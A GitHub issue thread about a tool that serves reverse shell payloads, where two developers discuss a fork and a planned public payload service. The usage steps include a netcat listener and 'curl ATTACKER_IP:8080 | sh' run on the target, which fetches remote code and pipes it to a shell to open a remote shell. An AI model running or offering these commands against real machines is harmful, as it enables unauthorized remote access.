Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Refactored version #1

Closed
EONRaider opened this issue Dec 17, 2020 · 2 comments
Closed

Refactored version #1

EONRaider opened this issue Dec 17, 2020 · 2 comments

Comments

@EONRaider
Copy link

EONRaider commented Dec 17, 2020

Hey. I've been working on the code you committed and came up with a few modifications. It's still in its initial stages but I've added some functionality as well as a different architecture. Have a look here:

https://github.com/EONRaider/easy-shell/blob/main/easy_shell.py

It's quite different from your code already so I didn't want to make a PR right now. The use is similar to yours:

  • Start the server on the attacker machine. The default interface is 'eth0'. Change it with the '-i' option (check easy_shell.py -h)
    python3 easy_shell.py

  • Start Netcat on the attacker machine. The port is hardcoded as 4444 for now:
    nc -lvp 4444

  • From the target machine:
    curl ATTACKER_IP:8080 | sh

That's it. I intend to completely eliminate the necessity of running netcat to make the use even easier. Tell me what you think.

@cristianzsh
Copy link
Owner

This looks nice. However, the original idea is to have a web server in which anyone in the world can query it to easily get reverse shell payloads. I have plans to use a VPS to host this service. In this way, you could query curl myserver.sh/your_ip:port | sh on the target without the necessity of using this script on your host (just nc).

@EONRaider
Copy link
Author

Right. I'll stick with this fork then and make this tool generate the payloads, automatically execute them and provide the shell prompt itself. I'll probably also change the name to autoshell.py or something similar while keeping the attribution per the licensing terms.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants